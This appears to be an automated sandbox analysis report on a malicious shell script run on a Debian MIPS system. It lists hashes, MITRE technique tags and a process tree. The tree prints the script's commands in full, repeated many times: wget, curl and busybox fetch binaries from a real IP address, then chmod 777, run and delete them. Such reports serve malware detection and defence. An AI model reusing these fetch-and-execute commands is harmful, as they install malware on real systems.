dfa5634d6e0864fd75a85f6ca454a6af85668dcad006d58bd01093297c1e3710

Analysis

max time kernel
67s
max time network
69s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
20/11/2024, 03:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

dfa5634d6e0864fd75a85f6ca454a6af85668dcad006d58bd01093297c1e3710.sh
Size

10KB
MD5

a66b2b6475f1deadbfec69312a468f63
SHA1

311bc6386bc3d2c34ab616940335f8ccaf423dc6
SHA256

dfa5634d6e0864fd75a85f6ca454a6af85668dcad006d58bd01093297c1e3710
SHA512

7831e8928cba5706bc9a2d21e51d87b6c3de054706c0d9489f8b368bdb219c9422df6b356f343c9dd5aac9b2bed714cb7a7ccfeba0728a4a6c0423efcd853f27
SSDEEP

192:m3jbtVeKWq7ksgTXBhhE74o5WRRZlgQUG78EP73j54oy7LvXz3h4oSLvrz3h4o5L:ShU2GbwrOX

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
816	chmod
939	chmod
933	chmod
969	chmod
945	chmod
739	chmod
832	chmod
853	chmod
921	chmod
753	chmod
885	chmod
981	chmod
897	chmod
963	chmod
790	chmod
822	chmod
873	chmod
879	chmod
951	chmod
975	chmod
891	chmod
909	chmod
915	chmod
927	chmod
957	chmod
747	chmod
766	chmod
903	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 10 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
882	wget
883	curl
884	busybox
886	aWXRmc8WIp3FOlngkyq1gZN3RgRtDEZnao
887	rm
901	curl
900	wget
902	busybox
904	aWXRmc8WIp3FOlngkyq1gZN3RgRtDEZnao
905	rm

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P	curl
File opened for modification	/tmp/mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5	curl
File opened for modification	/tmp/rjYdYLogHbI2GtZk51UklOvLOURts6OQBE	curl
File opened for modification	/tmp/DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR	curl
File opened for modification	/tmp/QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo	curl
File opened for modification	/tmp/3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0	curl
File opened for modification	/tmp/Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw	curl
File opened for modification	/tmp/8xP5gxwZJYKeXrYUQq9dgRVJEYVxrwUwwf	curl
File opened for modification	/tmp/rjYdYLogHbI2GtZk51UklOvLOURts6OQBE	curl
File opened for modification	/tmp/aWXRmc8WIp3FOlngkyq1gZN3RgRtDEZnao	curl
File opened for modification	/tmp/DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR	curl
File opened for modification	/tmp/mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5	curl
File opened for modification	/tmp/57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok	curl
File opened for modification	/tmp/57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok	curl
File opened for modification	/tmp/xArcuxV9Xoc64HBeDwvoiKWBgPPBUKM8e5	curl
File opened for modification	/tmp/7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw	curl
File opened for modification	/tmp/8xP5gxwZJYKeXrYUQq9dgRVJEYVxrwUwwf	curl
File opened for modification	/tmp/aWXRmc8WIp3FOlngkyq1gZN3RgRtDEZnao	curl
File opened for modification	/tmp/WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in	curl
File opened for modification	/tmp/Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss	curl
File opened for modification	/tmp/3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0	curl
File opened for modification	/tmp/QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo	curl
File opened for modification	/tmp/7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw	curl
File opened for modification	/tmp/WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in	curl
File opened for modification	/tmp/Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss	curl
File opened for modification	/tmp/xArcuxV9Xoc64HBeDwvoiKWBgPPBUKM8e5	curl
File opened for modification	/tmp/Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw	curl
File opened for modification	/tmp/MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P	curl

/tmp/dfa5634d6e0864fd75a85f6ca454a6af85668dcad006d58bd01093297c1e3710.sh
/tmp/dfa5634d6e0864fd75a85f6ca454a6af85668dcad006d58bd01093297c1e3710.sh
1⤵
PID:710
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:712
- /usr/bin/wget
  wget http://87.120.125.191/bins/57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok
  2⤵
  PID:715
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:725
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok
  2⤵
  PID:736
- /bin/chmod
  chmod 777 57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok
  ./57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm 57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok
  2⤵
  PID:742
- /usr/bin/wget
  wget http://87.120.125.191/bins/QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo
  2⤵
  PID:743
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:745
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo
  2⤵
  PID:746
- /bin/chmod
  chmod 777 QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo
  ./QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo
  2⤵
  - Executes dropped EXE
  PID:748
- /bin/rm
  rm QsMMl9cY820P9umz3hznnMzUzNwCFQ9yoo
  2⤵
  PID:749
- /usr/bin/wget
  wget http://87.120.125.191/bins/MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P
  2⤵
  PID:750
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:751
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P
  2⤵
  PID:752
- /bin/chmod
  chmod 777 MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /tmp/MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P
  ./MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P
  2⤵
  - Executes dropped EXE
  PID:754
- /bin/rm
  rm MMLp22wLX7o4uCI3W5N0c1nz8osjSM0m1P
  2⤵
  PID:755
- /usr/bin/wget
  wget http://87.120.125.191/bins/7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw
  2⤵
  PID:756
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:757
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw
  2⤵
  PID:762
- /bin/chmod
  chmod 777 7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw
  ./7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw
  2⤵
  - Executes dropped EXE
  PID:768
- /bin/rm
  rm 7IB2Sin7Ap8vrYCay79zowFL3EWhM2eHkw
  2⤵
  PID:771
- /usr/bin/wget
  wget http://87.120.125.191/bins/mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5
  2⤵
  PID:772
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:778
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5
  2⤵
  PID:786
- /bin/chmod
  chmod 777 mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5
  2⤵
  - File and Directory Permissions Modification
  PID:790
- /tmp/mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5
  ./mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5
  2⤵
  - Executes dropped EXE
  PID:792
- /bin/rm
  rm mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5
  2⤵
  PID:795
- /usr/bin/wget
  wget http://87.120.125.191/bins/3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0
  2⤵
  PID:796
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:807
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0
  2⤵
  PID:814
- /bin/chmod
  chmod 777 3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0
  ./3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0
  2⤵
  - Executes dropped EXE
  PID:817
- /bin/rm
  rm 3noktzcDsW2yyDeNwRcRVC8CrxljVx4pi0
  2⤵
  PID:818
- /usr/bin/wget
  wget http://87.120.125.191/bins/WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in
  2⤵
  PID:819
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:820
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in
  2⤵
  PID:821
- /bin/chmod
  chmod 777 WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in
  ./WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in
  2⤵
  - Executes dropped EXE
  PID:823
- /bin/rm
  rm WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in
  2⤵
  PID:824
- /usr/bin/wget
  wget http://87.120.125.191/bins/DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR
  2⤵
  PID:825
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:826
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR
  2⤵
  PID:827
- /bin/chmod
  chmod 777 DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR
  ./DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR
  2⤵
  - Executes dropped EXE
  PID:833
- /bin/rm
  rm DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR
  2⤵
  PID:836
- /usr/bin/wget
  wget http://87.120.125.191/bins/Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss
  2⤵
  PID:837
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:842
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss
  2⤵
  PID:850
- /bin/chmod
  chmod 777 Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss
  ./Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss
  2⤵
  - Executes dropped EXE
  PID:854
- /bin/rm
  rm Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss
  2⤵
  PID:857
- /usr/bin/wget
  wget http://87.120.125.191/bins/Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw
  2⤵
  PID:859
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:864
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw
  2⤵
  PID:872
- /bin/chmod
  chmod 777 Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw
  ./Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw
  2⤵
  - Executes dropped EXE
  PID:874
- /bin/rm
  rm Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw
  2⤵
  PID:875
- /usr/bin/wget
  wget http://87.120.125.191/bins/rjYdYLogHbI2GtZk51UklOvLOURts6OQBE
  2⤵
  PID:876
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/rjYdYLogHbI2GtZk51UklOvLOURts6OQBE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:877
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/rjYdYLogHbI2GtZk51UklOvLOURts6OQBE
  2⤵
  PID:878
- /bin/chmod
  chmod 777 rjYdYLogHbI2GtZk51UklOvLOURts6OQBE
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/rjYdYLogHbI2GtZk51UklOvLOURts6OQBE
  ./rjYdYLogHbI2GtZk51UklOvLOURts6OQBE
  2⤵
  - Executes dropped EXE
  PID:880
- /bin/rm
  rm rjYdYLogHbI2GtZk51UklOvLOURts6OQBE
  2⤵
  PID:881
- /usr/bin/wget
  wget http://87.120.125.191/bins/aWXRmc8WIp3FOlngkyq1gZN3RgRtDEZnao
  2⤵
  - System Network Configuration Discovery
  PID:882
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/aWXRmc8WIp3FOlngkyq1gZN3RgRtDEZnao
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:883
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/aWXRmc8WIp3FOlngkyq1gZN3RgRtDEZnao
  2⤵
  - System Network Configuration Discovery
  PID:884
- /bin/chmod
  chmod 777 aWXRmc8WIp3FOlngkyq1gZN3RgRtDEZnao
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/aWXRmc8WIp3FOlngkyq1gZN3RgRtDEZnao
  ./aWXRmc8WIp3FOlngkyq1gZN3RgRtDEZnao
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:886
- /bin/rm
  rm aWXRmc8WIp3FOlngkyq1gZN3RgRtDEZnao
  2⤵
  - System Network Configuration Discovery
  PID:887
- /usr/bin/wget
  wget http://87.120.125.191/bins/8xP5gxwZJYKeXrYUQq9dgRVJEYVxrwUwwf
  2⤵
  PID:888
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/8xP5gxwZJYKeXrYUQq9dgRVJEYVxrwUwwf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:889
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/8xP5gxwZJYKeXrYUQq9dgRVJEYVxrwUwwf
  2⤵
  PID:890
- /bin/chmod
  chmod 777 8xP5gxwZJYKeXrYUQq9dgRVJEYVxrwUwwf
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/8xP5gxwZJYKeXrYUQq9dgRVJEYVxrwUwwf
  ./8xP5gxwZJYKeXrYUQq9dgRVJEYVxrwUwwf
  2⤵
  - Executes dropped EXE
  PID:892
- /bin/rm
  rm 8xP5gxwZJYKeXrYUQq9dgRVJEYVxrwUwwf
  2⤵
  PID:893
- /usr/bin/wget
  wget http://87.120.125.191/bins/xArcuxV9Xoc64HBeDwvoiKWBgPPBUKM8e5
  2⤵
  PID:894
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/xArcuxV9Xoc64HBeDwvoiKWBgPPBUKM8e5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:895
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/xArcuxV9Xoc64HBeDwvoiKWBgPPBUKM8e5
  2⤵
  PID:896
- /bin/chmod
  chmod 777 xArcuxV9Xoc64HBeDwvoiKWBgPPBUKM8e5
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/xArcuxV9Xoc64HBeDwvoiKWBgPPBUKM8e5
  ./xArcuxV9Xoc64HBeDwvoiKWBgPPBUKM8e5
  2⤵
  - Executes dropped EXE
  PID:898
- /bin/rm
  rm xArcuxV9Xoc64HBeDwvoiKWBgPPBUKM8e5
  2⤵
  PID:899
- /usr/bin/wget
  wget http://87.120.125.191/bins/aWXRmc8WIp3FOlngkyq1gZN3RgRtDEZnao
  2⤵
  - System Network Configuration Discovery
  PID:900
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/aWXRmc8WIp3FOlngkyq1gZN3RgRtDEZnao
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:901
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/aWXRmc8WIp3FOlngkyq1gZN3RgRtDEZnao
  2⤵
  - System Network Configuration Discovery
  PID:902
- /bin/chmod
  chmod 777 aWXRmc8WIp3FOlngkyq1gZN3RgRtDEZnao
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/aWXRmc8WIp3FOlngkyq1gZN3RgRtDEZnao
  ./aWXRmc8WIp3FOlngkyq1gZN3RgRtDEZnao
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:904
- /bin/rm
  rm aWXRmc8WIp3FOlngkyq1gZN3RgRtDEZnao
  2⤵
  - System Network Configuration Discovery
  PID:905
- /usr/bin/wget
  wget http://87.120.125.191/bins/8xP5gxwZJYKeXrYUQq9dgRVJEYVxrwUwwf
  2⤵
  PID:906
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/8xP5gxwZJYKeXrYUQq9dgRVJEYVxrwUwwf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:907
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/8xP5gxwZJYKeXrYUQq9dgRVJEYVxrwUwwf
  2⤵
  PID:908
- /bin/chmod
  chmod 777 8xP5gxwZJYKeXrYUQq9dgRVJEYVxrwUwwf
  2⤵
  - File and Directory Permissions Modification
  PID:909
- /tmp/8xP5gxwZJYKeXrYUQq9dgRVJEYVxrwUwwf
  ./8xP5gxwZJYKeXrYUQq9dgRVJEYVxrwUwwf
  2⤵
  - Executes dropped EXE
  PID:910
- /bin/rm
  rm 8xP5gxwZJYKeXrYUQq9dgRVJEYVxrwUwwf
  2⤵
  PID:911
- /usr/bin/wget
  wget http://87.120.125.191/bins/xArcuxV9Xoc64HBeDwvoiKWBgPPBUKM8e5
  2⤵
  PID:912
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/xArcuxV9Xoc64HBeDwvoiKWBgPPBUKM8e5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:913
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/xArcuxV9Xoc64HBeDwvoiKWBgPPBUKM8e5
  2⤵
  PID:914
- /bin/chmod
  chmod 777 xArcuxV9Xoc64HBeDwvoiKWBgPPBUKM8e5
  2⤵
  - File and Directory Permissions Modification
  PID:915
- /tmp/xArcuxV9Xoc64HBeDwvoiKWBgPPBUKM8e5
  ./xArcuxV9Xoc64HBeDwvoiKWBgPPBUKM8e5
  2⤵
  - Executes dropped EXE
  PID:916
- /bin/rm
  rm xArcuxV9Xoc64HBeDwvoiKWBgPPBUKM8e5
  2⤵
  PID:917
- /usr/bin/wget
  wget http://87.120.125.191/bins/WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in
  2⤵
  PID:918
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:919
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in
  2⤵
  PID:920
- /bin/chmod
  chmod 777 WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in
  2⤵
  - File and Directory Permissions Modification
  PID:921
- /tmp/WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in
  ./WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in
  2⤵
  - Executes dropped EXE
  PID:922
- /bin/rm
  rm WVGQ4QruEnGbqmbx5fM5xXbcbSwKkcv4in
  2⤵
  PID:923
- /usr/bin/wget
  wget http://87.120.125.191/bins/DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR
  2⤵
  PID:924
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:925
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR
  2⤵
  PID:926
- /bin/chmod
  chmod 777 DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR
  2⤵
  - File and Directory Permissions Modification
  PID:927
- /tmp/DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR
  ./DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR
  2⤵
  - Executes dropped EXE
  PID:928
- /bin/rm
  rm DZAoD4VUWUhLM5rOZVW5VONz7To4u8iiRR
  2⤵
  PID:929
- /usr/bin/wget
  wget http://87.120.125.191/bins/Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss
  2⤵
  PID:930
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:931
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss
  2⤵
  PID:932
- /bin/chmod
  chmod 777 Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss
  2⤵
  - File and Directory Permissions Modification
  PID:933
- /tmp/Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss
  ./Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss
  2⤵
  - Executes dropped EXE
  PID:934
- /bin/rm
  rm Qc3EnRsB8OzBeIFFdEVACavqo9MlNz0uss
  2⤵
  PID:935
- /usr/bin/wget
  wget http://87.120.125.191/bins/Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw
  2⤵
  PID:936
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:937
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw
  2⤵
  PID:938
- /bin/chmod
  chmod 777 Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw
  2⤵
  - File and Directory Permissions Modification
  PID:939
- /tmp/Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw
  ./Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw
  2⤵
  - Executes dropped EXE
  PID:940
- /bin/rm
  rm Uvi3UdkMnQWwwG1SlbcaZ67APlFkzYQEYw
  2⤵
  PID:941
- /usr/bin/wget
  wget http://87.120.125.191/bins/rjYdYLogHbI2GtZk51UklOvLOURts6OQBE
  2⤵
  PID:942
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/rjYdYLogHbI2GtZk51UklOvLOURts6OQBE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:943
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/rjYdYLogHbI2GtZk51UklOvLOURts6OQBE
  2⤵
  PID:944
- /bin/chmod
  chmod 777 rjYdYLogHbI2GtZk51UklOvLOURts6OQBE
  2⤵
  - File and Directory Permissions Modification
  PID:945
- /tmp/rjYdYLogHbI2GtZk51UklOvLOURts6OQBE
  ./rjYdYLogHbI2GtZk51UklOvLOURts6OQBE
  2⤵
  - Executes dropped EXE
  PID:946
- /bin/rm
  rm rjYdYLogHbI2GtZk51UklOvLOURts6OQBE
  2⤵
  PID:947
- /usr/bin/wget
  wget http://87.120.125.191/bins/mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5
  2⤵
  PID:948
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:949
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5
  2⤵
  PID:950
- /bin/chmod
  chmod 777 mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5
  2⤵
  - File and Directory Permissions Modification
  PID:951
- /tmp/mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5
  ./mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5
  2⤵
  - Executes dropped EXE
  PID:952
- /bin/rm
  rm mPtC5QPODWW8xel5eZZQ8VyjDY3mTGWKY5
  2⤵
  PID:953
- /usr/bin/wget
  wget http://87.120.125.191/bins/57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok
  2⤵
  PID:954
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:955
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok
  2⤵
  PID:956
- /bin/chmod
  chmod 777 57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok
  2⤵
  - File and Directory Permissions Modification
  PID:957
- /tmp/57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok
  ./57C1VW4rL6KfWNz0gcmrup04pnj6f5pDok
  2⤵
  - Executes dropped EXE
  PID:958
- /bin/rm
